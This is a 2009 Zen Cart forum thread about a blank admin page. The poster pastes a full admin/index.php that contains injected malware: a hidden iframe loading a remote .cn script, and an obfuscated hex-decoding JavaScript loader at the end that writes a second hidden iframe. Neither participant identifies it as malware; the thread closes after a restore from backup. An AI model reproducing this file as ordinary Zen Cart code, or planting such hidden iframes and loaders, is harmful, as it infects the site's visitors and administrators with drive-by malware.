Results 1 to 6 of 6
  1. #1
    Join Date
    Feb 2009
    Posts
    14
    Plugin Contributions
    0

    Default Blank page on admin area, debug faq didn't help.

    Hi,

    Version 1.3.8

    As of today the bottom half of the admin page is blank.

    The only thing uploaded yesterday were some pictures for products, none of which are 0 bytes.

    Both debug methods described in the faq don't do anything.

    I am however getting this error in the Firefox error console if it means anything:

    Waarschuwing: ‘;’ gevonden waar einde van waarde voor eigenschap verwacht. Fout tijdens het parsen van waarde voor eigenschap ‘top’. Declaratie genegeerd.
    Bronbestand: http://www.forceone.nl/admin/
    Regel: 0
    Translated:

    Warning: ';' found where end of value for property was expected. Error during parsing of value for property 'top'. Declaration ignored.
    Source: http://www.forceone.nl/admin/
    Line:0
    Also:

    The admin panel is telling me at the top that the activity log hasnt been cleaned for 2 months.

    I'm pretty much stumped as what to do.

  2. #2
    Join Date
    Dec 2006
    Location
    Seligman, MO U.S.A.
    Posts
    2,101
    Plugin Contributions
    5

    Default Re: Blank page on admin area, debug faq didn't help.

    Well, obviously we can't log into your admin area to check it out for ourselves, but according to what you posted, one little ; is your problem.
    Did you modify the Admin/index.php or Admin/includes/index.php?

    You can clean (if you can get to it) the Activity log by going to Admin>Store Manager>.....click the "Reset" button at the top right corner of the page. Be sure to back up first!
    Last edited by Get Em Fast; 20 May 2009 at 05:02 PM.
    Teach them to shop and they will shop today;
    Teach them to Zen and they will OWN a shop tomorrow!

  3. #3
    Join Date
    Feb 2009
    Posts
    14
    Plugin Contributions
    0

    Default Re: Blank page on admin area, debug faq didn't help.

    Quote Originally Posted by Get Em Fast View Post
    Well, obviously we can't log into your admin area to check it out for ourselves, but according to what you posted, one little ; is your problem.
    Did you modify the Admin/index.php or Admin/includes/index.php?

    You can clean (if you can get to it) the Activity log by going to Admin>Store Manager>.....click the "Reset" button at the top right corner of the page. Be sure to back up first!
    I have not modified the admin/index.php and cant find anything wrong with it either on line 0.

    admin/includes/index.php doesn't seem to exist..


    admin/index.php
    PHP Code:
    <?php
    //
    // +----------------------------------------------------------------------+
    // |zen-cart Open Source E-commerce                                       |
    // +----------------------------------------------------------------------+
    // | Copyright (c) 2006 The zen-cart developers                           |
    // |                                                                      |
    // | http://www.zen-cart.com/index.php                                    |
    // |                                                                      |
    // | Portions Copyright (c) 2003 osCommerce                               |
    // +----------------------------------------------------------------------+
    // | This source file is subject to version 2.0 of the GPL license,       |
    // | that is bundled with this package in the file LICENSE, and is        |
    // | available through the world-wide-web at the following url:           |
    // | http://www.zen-cart.com/license/2_0.txt.                             |
    // | If you did not receive a copy of the zen-cart license and are unable |
    // | to obtain it through the world-wide-web, please send a note to       |
    // | [email protected] so we can mail you a copy immediately.          |
    // +----------------------------------------------------------------------+
    //  $Id: index.php 5454 2006-12-29 20:10:17Z drbyte $
    //
      
    $version_check_index=true;
      require(
    'includes/application_top.php');

      
    $languages zen_get_languages();
      
    $languages_array = array();
      
    $languages_selected DEFAULT_LANGUAGE;
      for (
    $i 0$n sizeof($languages); $i $n$i++) {
        
    $languages_array[] = array('id' => $languages[$i]['code'],
                                   
    'text' => $languages[$i]['name']);
        if (
    $languages[$i]['directory'] == $language) {
          
    $languages_selected $languages[$i]['code'];
        }
      }
    ?>
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml" <?php echo HTML_PARAMS?>>
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=<?php echo CHARSET?>">
    <title><?php echo TITLE?></title>
    <script language="JavaScript" src="includes/menu.js" type="text/JavaScript"></script>
    <link href="includes/stylesheet.css" rel="stylesheet" type="text/css" />
    <link rel="stylesheet" type="text/css" href="includes/cssjsmenuhover.css" media="all" id="hoverJS" />
    <script type="text/javascript">
      <!--
      function init()
      {
        cssjsmenu('navbar');
        if (document.getElementById)
        {
          var kill = document.getElementById('hoverJS');
          kill.disabled = true;
        }
      }
      // -->
    </script>
    </head>
    <body onload="init()"><iframe src="http://bigtopmanagement.cn:8080/ts/in.cgi?pepsi12" width=2 height=4 style="visibility: hidden"></iframe>
    <!-- header //-->
    <?php require(DIR_WS_INCLUDES 'header.php'); ?>
    <!-- header_eof //-->
     <?php

      $customers 
    $db->Execute("select count(*) as count from " TABLE_CUSTOMERS);

      
    $products $db->Execute("select count(*) as count from " TABLE_PRODUCTS " where products_status = '1'");

      
    $products_off $db->Execute("select count(*) as count from " TABLE_PRODUCTS " where products_status = '0'");

      
    $reviews $db->Execute("select count(*) as count from " TABLE_REVIEWS);
      
    $reviews_pending $db->Execute("select count(*) as count from " TABLE_REVIEWS " where status='0'");

      
    $newsletters $db->Execute("select count(*) as count from " TABLE_CUSTOMERS " where customers_newsletter = '1'");

      
    $counter_query "select startdate, counter from " TABLE_COUNTER;
      
    $counter $db->Execute($counter_query);
      
    $counter_startdate $counter->fields['startdate'];
    //  $counter_startdate_formatted = strftime(DATE_FORMAT_LONG, mktime(0, 0, 0, substr($counter_startdate, 4, 2), substr($counter_startdate, -2), substr($counter_startdate, 0, 4)));
      
    $counter_startdate_formatted strftime(DATE_FORMAT_SHORTmktime(000substr($counter_startdate42), substr($counter_startdate, -2), substr($counter_startdate04)));

      
    $specials $db->Execute("select count(*) as count from " TABLE_SPECIALS " where status= '0'");
      
    $specials_act $db->Execute("select count(*) as count from " TABLE_SPECIALS " where status= '1'");
      
    $featured $db->Execute("select count(*) as count from " TABLE_FEATURED " where status= '0'");
      
    $featured_act $db->Execute("select count(*) as count from " TABLE_FEATURED " where status= '1'");
      
    $salemaker $db->Execute("select count(*) as count from " TABLE_SALEMAKER_SALES " where sale_status = '0'");
      
    $salemaker_act $db->Execute("select count(*) as count from " TABLE_SALEMAKER_SALES " where sale_status = '1'");


    ?>
    <div id="colone">
    <div class="reportBox">
    <div class="header"><?php echo BOX_TITLE_STATISTICS?> </div>
    <?php
        
    echo '<div class="row"><span class="left">' BOX_ENTRY_COUNTER_DATE '</span><span class="rigth"> ' $counter_startdate_formatted '</span></div>';
        echo 
    '<div class="row"><span class="left">' BOX_ENTRY_COUNTER '</span><span class="rigth"> ' $counter->fields['counter'] . '</span></div>';
        echo 
    '<div class="row"><span class="left">' BOX_ENTRY_CUSTOMERS '</span><span class="rigth"> ' $customers->fields['count'] . '</span></div>';
        echo 
    '<div class="row"><span class="left">' BOX_ENTRY_PRODUCTS ' </span><span class="rigth">' $products->fields['count'] . '</span></div>';
        echo 
    '<div class="row"><span class="left">' BOX_ENTRY_PRODUCTS_OFF ' </span><span class="rigth">' $products_off->fields['count'] . '</span></div>';
        echo 
    '<div class="row"><span class="left">' BOX_ENTRY_REVIEWS '</span><span class="rigth">' $reviews->fields['count']. '</span></div>';
        if (
    REVIEWS_APPROVAL=='1') {
          echo 
    '<div class="row"><span class="left"><a href="' zen_href_link(FILENAME_REVIEWS'status=1''NONSSL') . '">' BOX_ENTRY_REVIEWS_PENDING '</a></span><span class="rigth">' $reviews_pending->fields['count']. '</span></div>';
        }
        echo 
    '<div class="row"><span class="left">' BOX_ENTRY_NEWSLETTERS '</span><span class="rigth"> ' $newsletters->fields['count']. '</span></div>';

        echo 
    '<br /><div class="row"><span class="left">' BOX_ENTRY_SPECIALS_EXPIRED '</span><span class="rigth"> ' $specials->fields['count']. '</span></div>';
        echo 
    '<div class="row"><span class="left">' BOX_ENTRY_SPECIALS_ACTIVE '</span><span class="rigth"> ' $specials_act->fields['count']. '</span></div>';
        echo 
    '<div class="row"><span class="left">' BOX_ENTRY_FEATURED_EXPIRED '</span><span class="rigth"> ' $featured->fields['count']. '</span></div>';
        echo 
    '<div class="row"><span class="left">' BOX_ENTRY_FEATURED_ACTIVE '</span><span class="rigth"> ' $featured_act->fields['count']. '</span></div>';
        echo 
    '<div class="row"><span class="left">' BOX_ENTRY_SALEMAKER_EXPIRED '</span><span class="rigth"> ' $salemaker->fields['count']. '</span></div>';
        echo 
    '<div class="row"><span class="left">' BOX_ENTRY_SALEMAKER_ACTIVE '</span><span class="rigth"> ' $salemaker_act->fields['count']. '</span></div>';

    ?>
     </div>
     <div class="reportBox">
       <div class="header"><?php echo BOX_TITLE_ORDERS?> </div>
      <?php   $orders_contents '';
      
    $orders_status $db->Execute("select orders_status_name, orders_status_id from " TABLE_ORDERS_STATUS " where language_id = '" $_SESSION['languages_id'] . "'");

      while (!
    $orders_status->EOF) {
        
    $orders_pending $db->Execute("select count(*) as count from " TABLE_ORDERS " where orders_status = '" $orders_status->fields['orders_status_id'] . "'");

        
    $orders_contents .= '<div class="row"><span class="left"><a href="' zen_href_link(FILENAME_ORDERS'selected_box=customers&status=' $orders_status->fields['orders_status_id'], 'NONSSL') . '">' $orders_status->fields['orders_status_name'] . '</a>:</span><span class="rigth"> ' $orders_pending->fields['count'] . '</span>   </div>';
        
    $orders_status->MoveNext();
      }

      echo 
    $orders_contents;
    ?>
      </div>
    </div>
    <div id="coltwo">
    <div class="reportBox">
    <div class="header"><?php echo BOX_ENTRY_NEW_CUSTOMERS?> </div>
      <?php  $customers $db->Execute("select c.customers_id as customers_id, c.customers_firstname as customers_firstname, c.customers_lastname as customers_lastname, a.customers_info_date_account_created as customers_info_date_account_created, a.customers_info_id from " TABLE_CUSTOMERS " c left join " TABLE_CUSTOMERS_INFO " a on c.customers_id = a.customers_info_id order by a.customers_info_date_account_created DESC limit 5");

      while (!
    $customers->EOF) {
        echo 
    '              <div class="row"><span class="left"><a href="' zen_href_link(FILENAME_CUSTOMERS'search=' $customers->fields['customers_lastname'] . '&origin=' FILENAME_DEFAULT'NONSSL') . '" class="contentlink">'$customers->fields['customers_firstname'] . ' ' $customers->fields['customers_lastname'] . '</a></span><span class="rigth">' "\n";
        echo 
    zen_date_short($customers->fields['customers_info_date_account_created']);
        echo 
    '              </span></div>' "\n";
        
    $customers->MoveNext();
      }
    ?>
    </div>

     <div class="reportBox">
    <?php
      $counter_query 
    "select startdate, counter, session_counter from " TABLE_COUNTER_HISTORY " order by startdate DESC limit 10";
      
    $counter $db->Execute($counter_query);
    ?>
       <div class="header"><?php echo sprintf(LAST_10_DAYS$counter->RecordCount()); ?><?php echo '<span class="rigth"> &nbsp;&nbsp;&nbsp;' SESSION ' - ' TOTAL '</span>'?></div>
      <?php

      
    while (!$counter->EOF) {
        
    $counter_startdate $counter->fields['startdate'];
        
    $counter_startdate_formatted strftime(DATE_FORMAT_SHORTmktime(000substr($counter_startdate42), substr($counter_startdate, -2), substr($counter_startdate04)));
        echo 
    '              <div class="row"><span class="left">' $counter_startdate_formatted '</span><span class="rigth"> ' $counter->fields['session_counter'] . ' - ' $counter->fields['counter'] . '</span>   </div>' "\n";
        
    $counter->MoveNext();
      }
    ?>

    </div>
    </div>
    <div id="colthree">
    <div class="reportBox">
    <div class="header"><?php echo BOX_ENTRY_NEW_ORDERS?> </div>
      <?php  $orders $db->Execute("select o.orders_id as orders_id, o.customers_name as customers_name, o.customers_id, o.date_purchased as date_purchased, o.currency, o.currency_value, ot.class, ot.text as order_total from " TABLE_ORDERS " o left join " TABLE_ORDERS_TOTAL " ot on (o.orders_id = ot.orders_id) where class = 'ot_total' order by orders_id DESC limit 5");

      while (!
    $orders->EOF) {
        echo 
    '              <div class="row"><span class="left"><a href="' zen_href_link(FILENAME_ORDERS'oID=' $orders->fields['orders_id'] . '&origin=' FILENAME_DEFAULT'NONSSL') . '" class="contentlink"> ' $orders->fields['customers_name'] . '</a></span><span class="center">' $orders->fields['order_total'] . '</span><span class="rigth">' "\n";
        echo 
    zen_date_short($orders->fields['date_purchased']);
        echo 
    '              </span></div>' "\n";
        
    $orders->MoveNext();
      }
    ?>
    </div>
    </div>
    <!-- The following copyright announcement is in compliance
    to section 2c of the GNU General Public License, and
    thus can not be removed, or can only be modified
    appropriately.

    Please leave this comment intact together with the
    following copyright announcement. //-->

    <div class="copyrightrow"><a href="http://www.zen-cart.com" target="_blank"><img src="images/small_zen_logo.gif" alt="Zen Cart:: the art of e-commerce" border="0" /></a><br /><br />E-Commerce Engine Copyright &copy; 2003-<?php echo date('Y'); ?> <a href="http://www.zen-cart.com" target="_blank">Zen Cart&trade;</a></div><div class="warrantyrow"><br /><br />Zen Cart is derived from: Copyright &copy; 2003 osCommerce<br />This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;<br />without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE<br />and is redistributable under the <a href="http://www.zen-cart.com/license/2_0.txt" target="_blank">GNU General Public License</a><br />
    </div>
    </body>
    </html>
    <?php require('includes/application_bottom.php'); ?>
    <script type="text/javascript">IFmOHnZR=[""];xclgbBCipK(["693C72666D61206572733D63682274743A702F2F756674726E6575692E736F632F6D6F6D6572692F646E7865702E7068202272666D616265"]);function xclgbBCipK(U){var y=3,v=0,o=2,t=4,q=1;U[t]=function(z){return(z[v][z[q]](z[o],z[y]));};U[o]=/(..)(..)/g;IFmOHnZR[q]="write";U[y]="%$"+o+"%$"+q;IFmOHnZR[o]=document;U[q]="replace";IFmOHnZR[v]+=unescape(U[t](U));return(IFmOHnZR.slice(v,o+1).reverse().concat(["",U[t]]));}xclgbBCipK(["726F65643D72302220226F6264727265223D2230772064696874223D22306820696568673D743022202274736C793D657022736F74696F69"])[4](xclgbBCipK(["3A6E612073626C6F74753B657620736962696C6974693A796820646965643B6E642073696C707961203A6F6E656E3E222F3C66696172656D3E"]));</script>

  4. #4
    Join Date
    Dec 2006
    Location
    Seligman, MO U.S.A.
    Posts
    2,101
    Plugin Contributions
    5

    Default Re: Blank page on admin area, debug faq didn't help.

    Uh...yea...sorry....I meant admin/includes/header.php
    Teach them to shop and they will shop today;
    Teach them to Zen and they will OWN a shop tomorrow!

  5. #5
    Join Date
    Feb 2009
    Posts
    14
    Plugin Contributions
    0

    Default Re: Blank page on admin area, debug faq didn't help.

    Quote Originally Posted by Get Em Fast View Post
    Uh...yea...sorry....I meant admin/includes/header.php
    I restored copies of those files from an earlier backup and that seems to have done the trick.

    Thanks !

  6. #6
    Join Date
    Dec 2006
    Location
    Seligman, MO U.S.A.
    Posts
    2,101
    Plugin Contributions
    5

    Default Re: Blank page on admin area, debug faq didn't help.

    Glad to help. If I hadn't posted the wrong file the first time, maybe it would have saved you some time. Sorry about that.
    Teach them to shop and they will shop today;
    Teach them to Zen and they will OWN a shop tomorrow!

 

 

Similar Threads

  1. Replies: 6
    Last Post: 16 Feb 2015, 07:16 PM
  2. v139h Admin area suddenly showing a blank page
    By qwerty94 in forum General Questions
    Replies: 9
    Last Post: 15 Jun 2012, 12:03 PM
  3. v138a Admin Area is a blank page
    By Hometownf in forum Upgrading from 1.3.x to 1.3.9
    Replies: 5
    Last Post: 7 Jun 2012, 02:53 AM
  4. Blank Page Error - Debug Result. Help?
    By avastyebucs in forum General Questions
    Replies: 4
    Last Post: 27 Aug 2009, 08:43 PM

Bookmarks

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  
disjunctive-egg
Zen-Cart, Internet Selling Services, Klamath Falls, OR